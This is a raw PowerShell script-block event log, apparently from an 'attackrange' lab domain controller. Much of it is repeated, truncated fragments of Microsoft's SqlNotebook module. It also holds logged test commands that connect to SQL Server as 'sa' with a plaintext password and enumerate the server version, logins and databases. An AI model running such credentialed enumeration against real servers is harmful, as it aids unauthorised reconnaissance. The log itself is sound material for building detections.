It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding the print statments to the cell outputs
$NotebookCellOutputs += $(ParseStringToNotebookOutput($_.Message))
} elseif ($_ -is [System.Data.DataTable]) {
# Storing the print Tables into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_ $CellExecutionCount)
} elseif ($_ -is [System.Data.DataRow]) {
# Storing the print row into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_.Table $CellExecutionCount)
}
}
if ($SqlQueryError) {
# Adding the parsed query error from Invoke-Sqlcmd
$NotebookCellOutputs += $(ParseQueryErrorToNotebookOutput($SqlQueryError))
}
if ($SqlQueryExecutionTime) {
# Adding the parsed execution time from Measure-Command
$NotebookCellExcutionTimeString = "Total execution time: " + $SqlQueryExecutionTime.ToString()
9ca0b662-ecc1-4347-90d4-f3efc522d235C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0514570Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificatec295d0ba-41f5-4d03-9154-eaff99d98809
4104152150x0514364Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificate56276e58-ddee-42e6-9e0b-130446842445
4104152150x0514066Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding the print statments to the cell outputs
$NotebookCellOutputs += $(ParseStringToNotebookOutput($_.Message))
} elseif ($_ -is [System.Data.DataTable]) {
# Storing the print Tables into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_ $CellExecutionCount)
} elseif ($_ -is [System.Data.DataRow]) {
# Storing the print row into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_.Table $CellExecutionCount)
}
}
if ($SqlQueryError) {
# Adding the parsed query error from Invoke-Sqlcmd
$NotebookCellOutputs += $(ParseQueryErrorToNotebookOutput($SqlQueryError))
}
if ($SqlQueryExecutionTime) {
# Adding the parsed execution time from Measure-Command
$NotebookCellExcutionTimeString = "Total execution time: " + $SqlQueryExecutionTime.To5a7b2b7c-3bfd-46e4-bf74-0b39421bd6c3C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0514059Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificate83eab20c-80b2-40fb-aef4-f7aabe6b180c
4104152150x0513853Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificateb3c8c53d-c48d-4d98-8b45-75128a133e0e
4104152150x0513652Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding th4477d969-732a-44aa-832d-ff188a38ce16C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0513646Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificatec227dd60-eeba-4102-b862-14a5ad041da8
4104152150x0513439Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificatea2ead146-d2dd-4ca9-8389-db53c2ad93a8
4104152150x0513117Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11function Invoke-SqlTest {
param (
[string]$Query,
[string]$Description,
[ValidateSet('Invoke-Sqlcmd', 'sqlcmd.exe')]
[string]$Method
)
Write-Host "`nExecuting: $Description using $Method" -ForegroundColor Cyan
try {
if ($Method -eq 'sqlcmd.exe') {
& sqlcmd -S $Server -d $Database -U $Username -P $Password -Q $Query -b
Write-Host "Test completed successfully" -ForegroundColor Green
return $true
} else {
Invoke-Sqlcmd -ServerInstance $Server -Database $Database -Username $Username -Password $Password `
-Query $Query -TrustServerCertificate
Write-Host "Test completed successfully" -ForegroundColor Green
return $true
}
}
catch {
Write-Host "Test failed: $_" -ForegroundColor Red
return $false
}
}b26b41b0-4b6c-4ff8-a27d-8b67d956190dC:\Users\Administrator\Desktop\sqlcmd.ps1
4104152150x0513036Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificate35cb4e4a-3b0e-4cbb-96cc-c090c404d29e
4104152150x0512834Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
